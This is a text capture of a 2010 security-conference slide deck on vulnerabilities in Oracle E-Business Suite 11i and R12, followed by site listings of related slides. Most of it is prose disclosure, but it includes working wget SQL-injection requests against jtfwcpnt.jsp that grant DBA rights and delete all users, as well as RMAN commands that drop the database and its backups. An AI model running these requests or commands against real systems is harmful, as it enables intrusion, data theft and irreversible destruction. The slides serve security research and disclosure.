Joxean Koret - Hackproofing Oracle Financials 11i & R12 [RootedCON 2010]

RootedCON
RootedCONRootedCON
Hackproofing Oracle Financials

Vulnerabilities in Oracle E-Business Suite R12




               Vulnerabilities in Oracle Financials - Joxean
                                   Koret
What is Oracle Financials?

Is an Enterprise Resource Planing product
(ERP)
The names Oracle E-Business Suite, Oracle
Applications, Oracle Financials, etc... does refer
to the same product




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
ERP Statistics

As of 2005, SAP and Oracle Applications were
the most deployed




             Vulnerabilities in Oracle Financials - Joxean
                                 Koret
Market Share




Vulnerabilities in Oracle Financials - Joxean
                    Koret
Market Share




Vulnerabilities in Oracle Financials - Joxean
                    Koret
Market Share




Vulnerabilities in Oracle Financials - Joxean
                    Koret
Market Share




Vulnerabilities in Oracle Financials - Joxean
                    Koret
Who is using Oracle Financials?

Very large list of customers
  http://www.oracle.com/customers/products/financials2.html
In short...
  Militars & Governments, i.e.: North Atlantic Treaty
  Organization (NATO)
  Banks
  Airways & Airlines
  Petrochemical companies
  Hospitals
  ...
                  Vulnerabilities in Oracle Financials - Joxean
                                      Koret
Some well known customers

Marvel, Banque de France, U.S. Airways, U.S.
Navy, U.S. Army, Mitsubishi, Airtel, NH Hotels,
Canon, EMC Corporation, Flemish
Government, Fujitsu, Toshiba, Google Inc,
Unisys, U.S. Postal Service, Toyota, General
Electrics, Dubai's Government, Oracle itself,
etc...
Enough (and interesting) customers to care
about ;)

              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
About the talk

What are we going to covert in this talk?
  Architecture overview (Basic Concepts + Brief
  introduction)
  Components (11i & R12)
  Design flaws
  Vulnerabilities
  How to own



                 Vulnerabilities in Oracle Financials - Joxean
                                     Koret
Architecture Overview




     Vulnerabilities in Oracle Financials - Joxean
                         Koret
Architecture: Attacker's point of view

Applications Server's components
  Web Server, Forms Server (& Reports Server)
    But Reports is not always available from internet
  JSP, Servlets, CGIs and ”the” PL/SQL Gateway
    PL/SQL Gateway removed in R12 due to many security
    problems
Database Server's components
  Data
  PL/SQL software
                Vulnerabilities in Oracle Financials - Joxean
                                    Koret
Basic Concepts

Forms Server
  Java Applet that communicates (via HTTP in the
  latest versions) with the application server
  Used to show GUIs
Reports Server
  The same but only for reports
PL/SQL Gateway
  A way to execute PL/SQL code directly from a
  browser, like a CGI but inside the database
               Vulnerabilities in Oracle Financials - Joxean
                                   Koret
Information Gathering




   Vulnerabilities in Oracle Financials - Joxean
                       Koret
Information Gathering

Oracle Financials 11i
  http://middletier/pls/DAD/fnd_web.ping
Oracle Financials R12
  PL/SQL Gateway removed, URL changed to:
  http://middletier/OA_HTML/jsp/fnd/fndping.jsp
What information we get this way?



               Vulnerabilities in Oracle Financials - Joxean
                                   Koret
Information Gathered




    Vulnerabilities in Oracle Financials - Joxean
                        Koret
Information Gathering




   Install Path Disclosure




     Vulnerabilities in Oracle Financials - Joxean
                         Koret
Install Path Disclosure

The script /OA_HTML/biserror.jsp receives a
parameter called ”DBC” (DataBase
Configuration)
  Is a file in the middle-tier with information regarding
  the database address, etc...
  It reveals the installation path when a non-existent
  DBC file is given to script




                Vulnerabilities in Oracle Financials - Joxean
                                    Koret
Installation Path Disclosure




        Vulnerabilities in Oracle Financials - Joxean
                            Koret
Information Gathering

The information retrieval (sometimes) is vital for succesful
intrusions
   Databases's SID and schema (commonly APPS)
   It's also typical to host multiple Oracle Financials
   instances in the same machine:
      /d01/apps/r12
      /d02/apps/r11
   You must know the operating system to completely own
   the system


                  Vulnerabilities in Oracle Financials - Joxean
                                      Koret
Vulnerabilities




 Vulnerabilities in Oracle Financials - Joxean
                     Koret
Vulnerabilities by component
Middle-tier
   Oracle Forms
   PL/SQL gateway (only in version 11i)
   JSP
Database backend
   Oracle Database
Middle-tier (again)
   The Printers From Hell



                  Vulnerabilities in Oracle Financials - Joxean
                                      Koret
Vulnerabilities: Cross Site Scripting

 Oracle Financials is full of XSS vulnerabilities
 In example, the script biserror.jsp is designed to
 show an error page with a custom message
 The message text can be HTML code
   By design!




                Vulnerabilities in Oracle Financials - Joxean
                                    Koret
XSS in biserror.jsp




   Vulnerabilities in Oracle Financials - Joxean
                       Koret
Vulnerabilities

Cross Site Scripting vulnerabilities can only be
usefull (when you do not have real exploits) for:
  Session hijacking
  Phissing
  Manipulating admin panels
  Etc...
However, there are many very interesting
vulnerabilities in Oracle Financials so, ignore
XSS ;)
              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
Mistakes

The very first vulnerability I found in Oracle Financials 11i
was only applicable to AIX (unfortunately)
The SYSADMIN has the responsibility (role) SYSADMIN
Looking for other users with the same responsibility...
   ...




                  Vulnerabilities in Oracle Financials - Joxean
                                      Koret
Mistakes

The very first vulnerability I found in Oracle Financials 11i
was only applicable to AIX (unfortunately)
The SYSADMIN has the responsibility (role) SYSADMIN
Looking for other users with the same responsibility...
   The GUEST user appears! So any GUEST user is, in
   fact, SYSADMIN!!!
      Cool!
Applicable to all Oracle Apps. 11i versions for AIX



                  Vulnerabilities in Oracle Financials - Joxean
                                      Koret
For the developers...




    Vulnerabilities in Oracle Financials - Joxean
                        Koret
Oracle Forms

One of the more interesting vulnerabilities is in
the Oracle Forms Listener.
Whenever a new user wants to connect to
Oracle Forms via web, a Login Form is shown
  Is a Java Applet




               Vulnerabilities in Oracle Financials - Joxean
                                   Koret
The Login Form




 Vulnerabilities in Oracle Financials - Joxean
                     Koret
Oracle Forms Listener

But, how is the form loaded? What parameters
are given from the browser to the server if any?
  Remember, it's a Java applet that communicates
  with the application server




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
Oracle Forms Listener

Answer:




          Vulnerabilities in Oracle Financials - Joxean
                              Koret
Oracle Forms Listener

So, again, we have another installation path
disclosure but, wait...
What if you're able to upload a new form to the
server, to a temporary path, in example?
  The form will be executed before doing logon
Possible temporary paths:
  /incoming
  /tmp

              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
Oracle Forms Listener

The source code of almost every form in Oracle
Financials is available:
  Source code for login form is in
  $FND_TOP/US/FNDSCSGN.fmb




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
Oracle Forms Source
$ cd $FND_TOP

$ pwd

/u03/oracle/prodappl/fnd/11.5.0/
$ cd forms

$ ls

E US
$ ls US/

APPTREE.fmx FNDATENT.fmx FNDCPDIA.fmx FNDCUSTM.fmx FNDFFMIS.fmx

FNDFMFUN.fmx FNDPOMPV.fmx FNDSCAUS.fmx FNDSNDSQ.fmx FNDADDSQ.fmx

FNDATFUN.fmx FNDCPDPD.fmx FNDFBMAS.fmx FNDFFMSA.fmx FNDLVMLU.fmx

FNDPOMSV.fmx FNDSCDDG.fmx TEMPLATE.fmx (...)




                               Vulnerabilities in Oracle Financials - Joxean
                                                   Koret
Old Vulnerabilities: PL/SQL Gateway

 In the prior version (Oracle Financials 11i)
 almost all the vulnerabilities I found were SQL
 Injection or ”mistakes”
   Thanks to the PL/SQL Gateway
 I'm going to tell you about various of them
 Sorry, no demo for this version :(



               Vulnerabilities in Oracle Financials - Joxean
                                   Koret
The PL/SQL Gateway

What is the PL/SQL Gateway?
Is a way to directly execute PL/SQL code in the
database via a browser




             Vulnerabilities in Oracle Financials - Joxean
                                 Koret
The PL/SQL Gateway

What is the PL/SQL Gateway?
Is a way to directly execute PL/SQL code in the
database via a browser
  ”Where you see a feature I see a flaw!”
What if the PL/SQL code contains
vulnerabilities?



               Vulnerabilities in Oracle Financials - Joxean
                                   Koret
The PL/SQL Gateway

Remember, the PL/SQL Gateway is a way to
directly execute PL/SQL code in the database
via a browser
  ”Where you see a feature I see a flaw!”
What if the PL/SQL code contains
vulnerabilities?
  You're running code directly in the database
  You can run any procedure granted to public
    A lot of them, about thousands in total
  Cool!         Vulnerabilities in Oracle Financials - Joxean
                                    Koret
Some reported & fixed vulnerabilities

http://<target>/pls/<DAD>/ADI_display_report.
DisplayFile?P_DOCID=<doc id>
http://<target>/pls/<DAD>/ADI_BINARY_FILE.
Show?p_DocumentId=<doc id>
Download any document stored in the ERP
(contracts, etc...) without being authenticated
Just brute force the doc_id and that's all


              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
PL/SQL Gateway

But, wait! I don't know the DAD?
OK, simply navigate with your browser to the following
location:
  http://<target>:<port>/pls/
You will be redirected to the URL /pls/DAD/fnd_web.ping
In Oracle Apps since 11.5.10.2 you will get the message
”Unauthorized”
  But, well, when accessing to the URL you were
  redirected to...

                 Vulnerabilities in Oracle Financials - Joxean
                                     Koret
More vulnerabilities in Apps 11i

How can I see the complete list of customers
and contacts of my adversary corporation?




             Vulnerabilities in Oracle Financials - Joxean
                                 Koret
More vulnerabilities in Apps 11i

How can I see the complete list of customers
and contacts of my adversary corporation?
Easy! The following URL is your answer:
  /pls/<DAD>/ICXSUPWF.DISPLAYCONTACTS
No check for valid session, valid privileges,
etc...
The complete list of customers and contacts
is printed in the web page
  Cool++!    Vulnerabilities in Oracle Financials - Joxean
                                 Koret
SQL Injection

Another vulnerable package (the name says that it's surely
vulnerable)
  /pls/DAD/ICX_UTIL.LOVVALUES
A LOV, in Oracle language, is a List Of Values
  Typically, an SQL query to show some data
The script receives 2 cool parameters:
  c_where_clause & c_js_where_clause
Guess what is the purpose of the parameters?
  Cool^2

                 Vulnerabilities in Oracle Financials - Joxean
                                     Koret
Returning back to ICXSUPWF.DISPLAYCONTACTS


 Do you remember the package to download the
 complete customer's list?
 Well, this package also receives a seemingly
 equal parameter:
   p_where
 Of course, this is one SQL's where clause



              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
Sufficient SQL Injections

OK, we have sufficient ”SQL injections?” (or
design flaws?) for now but, what can I do with
them?
Well, some facts:
  You're running your SQL code as the APPS user
  The APPS user is the owner of the ERP's data
    So you're the new owner of the data :)
  Also, the APPS user has granted the DBA role
    So you're also the new DBA
                Vulnerabilities in Oracle Financials - Joxean
                                    Koret
Oracle Database User APPS

Running SQL code as any DBA you can do whatever you want
as, in example:
  Create a Java procedure to execute OS commands and to
  connect back to you
  Create a PL/SQL backdoor to make ”easier?” executing new
  commands
  Execute a funny OS + RMAN command:
     $ rman target /
     rman> sql 'shutdown abort'
     rman> drop database including backups noprompt;
        And kill her wife if possible

                    Vulnerabilities in Oracle Financials - Joxean
                                        Koret
Oracle Financials R12

I think that I showed sufficient (old, fixed) Oracle
Apps 11i vulnerabilities
Now, it's time for Oracle Applications R12




               Vulnerabilities in Oracle Financials - Joxean
                                   Koret
Oracle Applications R12: Changes

In this version Oracle removed the PL/SQL
Gateway
  No fun :(
But they ported almost all the packages to JSP
So the unique change for us is that we don't
need a DAD this time, we already know the
complete URL to access every JSP
  http://<target>:<port>/OA_HTML/<yourjsp.jsp>

              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
Oracle Applications R12: Changes

In this version they check in almost all JSP
scripts for a valid session, except for allowed to
GUEST applications
However, we can still get fun ;)




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
Establishing a GUEST session

To establish a GUEST session you just need to
navigate to any ”allowed to GUEST” jsp and,
automagically, a new session will be created for
you




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
Guest Sessions
When you want to do logon via the web page you're received
with a web page similar if not equal to the following one:




                  Vulnerabilities in Oracle Financials - Joxean
                                      Koret
Guest Sessions

When you do logon correctly you're redirected to the
following web page:




                 Vulnerabilities in Oracle Financials - Joxean
                                     Koret
Guest Sessions

If you navigate (before doing logon) directly to
this web page an exception occurs but a new
GUEST session gets created.




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
Servlet's Source Code




     Vulnerabilities in Oracle Financials - Joxean
                         Koret
Guest Sessions

With a valid GUEST session we can, now,
access any JSP.
  But some of them will check if we have the correct
  privileges or simply fail because we're not
  SYSADMIN, etc...
  Anyway, our attack vector has significantly
  increased :)




               Vulnerabilities in Oracle Financials - Joxean
                                   Koret
Oracle Financials R12

OK so... Do you remember the flaws where you
can inject any where clause in Oracle Apps 11i?
Well, Oracle always surprised me...




             Vulnerabilities in Oracle Financials - Joxean
                                 Koret
Oracle Applications R12

In this version they added a cool script called
jtfwcpnt.jsp.
It is a component of the Oracle Financials
CRM
  In Oracle words:
     “A Card Paint to display cards in Smart List
     Search”
     Questions to Larry Ellison, plz!
The script is completely flawed.
              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
jtfwcpnt.jsp

This cool script receives one interesting
parameter:
  query
Do I need to explain something else?




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
jtfwcpnt.jsp

This cool script receives one interesting
parameter:
  query
Do I need to explain something else?
Let's see a very complicated exploit...




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
jtfwcnpt.jsp 0days 3xpl01ts

$ export TARGET=”http://<target>:<port>/OA_HTML”
$ wget -O - “$TARGET/OA.jsp”
"$TARGET/jtfwcpnt.jsp?query=begin%20execute%20immediate%20'
grant%20dba%20to%20mom';%20end;”
$ wget -O - “$TARGET/OA.jsp”
"$TARGET/jtfwcpnt.jsp?query=begin%20execute%20immediate%20'
delete%20from%20apps.fnd_user';%20commit;end;”




                  Vulnerabilities in Oracle Financials - Joxean
                                      Koret
Creating a new SYSADMIN user

We're running code as the APPS user so,
again, we're the new owner of the data
  So we can, in example, create a new SYSADMIN
  like user:




             Vulnerabilities in Oracle Financials - Joxean
                                 Koret
Vulnerabilities in Oracle Financials - Joxean
                    Koret
Responsibilities

Running this PL/SQL code via the jtfwcpnt.jsp
script we create a new user and assign 2
responsibilities:
  20420 – System Administrator (SYSADMIN)
  20872 – System Administration




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
Owning by tiers

Abusing from this flaw we gained access to the
database backend
  If we just want to extract some data, we're done,
  delete the created user and that's all
However, if we want to continue owning all the
rest of the tiers we need to find a way to
execute code also in the middle-tier
  Remember, we gained access to the database and
  it will be in a different box :(

               Vulnerabilities in Oracle Financials - Joxean
                                   Koret
Gaining Access to the Middle-tiers

How can we gain access to the middle-tiers?
  Checked for a flawed JSP that writes something to
  disk, but nothing was found
  Checked also for Runtime.getRuntime() and so on:
  No luck :(




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
Gaining Access to the Middle-tiers

How can we gain access to the middle-tiers?
  Checked for a flawed JSP that writes something to
  disk, but nothing was found
  Checked also for Runtime.getRuntime() and so on:
  No luck :(
  But found a funny technique:
    The Printer From Hell




               Vulnerabilities in Oracle Financials - Joxean
                                   Koret
The Printers From Hell




     Vulnerabilities in Oracle Financials - Joxean
                         Koret
The Printer From Hell

Oracle Applications Server is a web based
application
It's designed to be used by big companies
either connected from LAN or from Internet
They designed a way to print to one system
administrator specified printer from anywhere
But, how are the printers configured?
  Administrator does this via the ERP or directly inserting
  into the database
                Vulnerabilities in Oracle Financials - Joxean
                                    Koret
The Printer From Hell




    Vulnerabilities in Oracle Financials - Joxean
                        Koret
The Printer From Hell

We have a ”printer coming from hell”, just print
something using the ERP or the PL/SQL
packages and you're done




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
The Printer From Hell

We have a ”printer coming from hell”, just print
something using the ERP or the PL/SQL
packages and you're done
  Th3 c0mpl3t3 $y$t3m w4$ 0wN3|)




              Vulnerabilities in Oracle Financials - Joxean
                                  Koret
However...

We're running code as the ”oracle” OS level
user but I know no way to scalate to root :(
  Well, if the database server is not correctly patched
  we can always use the ”extjob” suid tool
    Vulnerability CVE-2008-2613
But, what if the system is a Win32 box?
  Don't worry! You're already running code as Local
  System :)


               Vulnerabilities in Oracle Financials - Joxean
                                   Koret
●   Conclussions




Vulnerabilities in Oracle Financials - Joxean
                    Koret
Oracle Financials R12

It's getting better in some aspects but there are plenty of
quite stupid vulnerabilities
It's OK (in my opinion) to run it in our companies as an
intranet application but you should take care opening
connectivity to Oracle Financials from Internet
   IMHO...




                  Vulnerabilities in Oracle Financials - Joxean
                                      Koret
Final Conclussion?




   Vulnerabilities in Oracle Financials - Joxean
                       Koret
The End

●   Thanks you folks!




Vulnerabilities in Oracle Financials - Joxean
                    Koret
1 of 77

Recommended

Capsulization of Oracle Inventory by
Capsulization of Oracle InventoryCapsulization of Oracle Inventory
Capsulization of Oracle InventoryiWare Logic Technologies Pvt. Ltd.
2.2K views45 slides
Genpact by
GenpactGenpact
GenpactShivam Prakash Chaurasia
798 views9 slides
Oracle report from ppt by
Oracle report from pptOracle report from ppt
Oracle report from pptkingshuk_goswami
4.4K views8 slides
Webinar: Mass Additions – R12 Asset Management by
Webinar: Mass Additions – R12 Asset ManagementWebinar: Mass Additions – R12 Asset Management
Webinar: Mass Additions – R12 Asset ManagementiWare Logic Technologies Pvt. Ltd.
6K views42 slides
13097 ioaug sangam 2013_final by
13097 ioaug sangam 2013_final13097 ioaug sangam 2013_final
13097 ioaug sangam 2013_finalkingshuk_goswami
750 views50 slides

More Related Content

Viewers also liked

Webinar: Visionary Analysis Of Oracle R12 Purchasing Application by
Webinar: Visionary Analysis Of Oracle R12 Purchasing ApplicationWebinar: Visionary Analysis Of Oracle R12 Purchasing Application
Webinar: Visionary Analysis Of Oracle R12 Purchasing ApplicationiWare Logic Technologies Pvt. Ltd.
3.2K views43 slides
Presentation done in GENPACT by
Presentation done in GENPACTPresentation done in GENPACT
Presentation done in GENPACTDr. Amit Kapoor
4.1K views21 slides
Oracle Application Differences & Drop Ship Sales Orders by
Oracle Application Differences & Drop Ship Sales OrdersOracle Application Differences & Drop Ship Sales Orders
Oracle Application Differences & Drop Ship Sales OrdersiWare Logic Technologies Pvt. Ltd.
12.4K views44 slides
New Enhancements + Upgrade Path to Oracle EBS R12.1.3 by
New Enhancements + Upgrade Path to Oracle EBS R12.1.3New Enhancements + Upgrade Path to Oracle EBS R12.1.3
New Enhancements + Upgrade Path to Oracle EBS R12.1.3iWare Logic Technologies Pvt. Ltd.
8.7K views65 slides
OBIEE 11g Overview | Free Webcast by
OBIEE 11g Overview | Free WebcastOBIEE 11g Overview | Free Webcast
OBIEE 11g Overview | Free WebcastiWare Logic Technologies Pvt. Ltd.
4.1K views83 slides
R12 india localization guide by
R12 india localization guideR12 india localization guide
R12 india localization guidekingshuk_goswami
5.1K views77 slides

Viewers also liked(18)

Oracle R12 EBS Performance Tuning by Scott Jenner
Oracle R12 EBS Performance TuningOracle R12 EBS Performance Tuning
Oracle R12 EBS Performance Tuning
Scott Jenner13.9K views
Oracle applications sla r12 SLA- demos by Ali Ibrahim
Oracle applications sla r12   SLA- demosOracle applications sla r12   SLA- demos
Oracle applications sla r12 SLA- demos
Ali Ibrahim9.3K views
Oracle tips and tricks by Yanli Liu
Oracle tips and tricksOracle tips and tricks
Oracle tips and tricks
Yanli Liu2K views
Oracle ebs overview 1 by Sovanlal Das
Oracle ebs overview 1 Oracle ebs overview 1
Oracle ebs overview 1
Sovanlal Das7.6K views
Introduction to Oracle Financials by hasan2000
Introduction to Oracle FinancialsIntroduction to Oracle Financials
Introduction to Oracle Financials
hasan200091.3K views

More from RootedCON

Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde by
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro VillaverdeRooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro VillaverdeRootedCON
288 views41 slides
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c... by
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...RootedCON
1K views55 slides
Rooted2020 hunting malware-using_process_behavior-roberto_amado by
Rooted2020 hunting malware-using_process_behavior-roberto_amadoRooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amadoRootedCON
369 views29 slides
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_ by
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_RootedCON
408 views22 slides
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op... by
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...RootedCON
352 views86 slides
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r... by
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...RootedCON
304 views15 slides

More from RootedCON(20)

Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde by RootedCON
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro VillaverdeRooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
RootedCON288 views
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c... by RootedCON
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
RootedCON1K views
Rooted2020 hunting malware-using_process_behavior-roberto_amado by RootedCON
Rooted2020 hunting malware-using_process_behavior-roberto_amadoRooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amado
RootedCON369 views
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_ by RootedCON
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
RootedCON408 views
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op... by RootedCON
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
RootedCON352 views
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r... by RootedCON
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
RootedCON304 views
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca... by RootedCON
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
RootedCON277 views
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer by RootedCON
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguerRooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
RootedCON510 views
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav... by RootedCON
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
RootedCON440 views
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemy by RootedCON
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemyRooted2020 stefano maccaglia--_the_enemy_of_my_enemy
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemy
RootedCON256 views
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom... by RootedCON
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
RootedCON175 views
Rooted2020 virtual pwned-network_-_manel_molina by RootedCON
Rooted2020 virtual pwned-network_-_manel_molinaRooted2020 virtual pwned-network_-_manel_molina
Rooted2020 virtual pwned-network_-_manel_molina
RootedCON156 views
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an... by RootedCON
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
RootedCON174 views
Rooted2020 todo a-siem_-_marta_lopez by RootedCON
Rooted2020 todo a-siem_-_marta_lopezRooted2020 todo a-siem_-_marta_lopez
Rooted2020 todo a-siem_-_marta_lopez
RootedCON178 views
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero by RootedCON
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valeroRooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
RootedCON134 views
Rooted2020 live coding--_jesus_jara by RootedCON
Rooted2020 live coding--_jesus_jaraRooted2020 live coding--_jesus_jara
Rooted2020 live coding--_jesus_jara
RootedCON130 views
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un... by RootedCON
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
RootedCON98 views
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-... by RootedCON
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
RootedCON143 views
Rooted2020 evading deep-learning_malware_detectors_-_javier_yuste by RootedCON
Rooted2020 evading deep-learning_malware_detectors_-_javier_yusteRooted2020 evading deep-learning_malware_detectors_-_javier_yuste
Rooted2020 evading deep-learning_malware_detectors_-_javier_yuste
RootedCON147 views
Rooted2020 encontrando 0days-en_2020_-_antonio_morales by RootedCON
Rooted2020 encontrando 0days-en_2020_-_antonio_moralesRooted2020 encontrando 0days-en_2020_-_antonio_morales
Rooted2020 encontrando 0days-en_2020_-_antonio_morales
RootedCON128 views

Recently uploaded

Webinar : Desperately Seeking Transformation - Part 2: Insights from leading... by
Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...
Webinar : Desperately Seeking Transformation - Part 2: Insights from leading...The Digital Insurer
90 views52 slides
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue by
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlueCloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlueShapeBlue
138 views15 slides
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT by
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBITUpdates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBITShapeBlue
206 views8 slides
"Surviving highload with Node.js", Andrii Shumada by
"Surviving highload with Node.js", Andrii Shumada "Surviving highload with Node.js", Andrii Shumada
"Surviving highload with Node.js", Andrii Shumada Fwdays
56 views29 slides
Why and How CloudStack at weSystems - Stephan Bienek - weSystems by
Why and How CloudStack at weSystems - Stephan Bienek - weSystemsWhy and How CloudStack at weSystems - Stephan Bienek - weSystems
Why and How CloudStack at weSystems - Stephan Bienek - weSystemsShapeBlue
238 views13 slides
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda... by
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...ShapeBlue
161 views13 slides

Recently uploaded(20)

Webinar : Desperately Seeking Transformation - Part 2: Insights from leading... by The Digital Insurer
Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...
Webinar : Desperately Seeking Transformation - Part 2: Insights from leading...
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue by ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlueCloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
ShapeBlue138 views
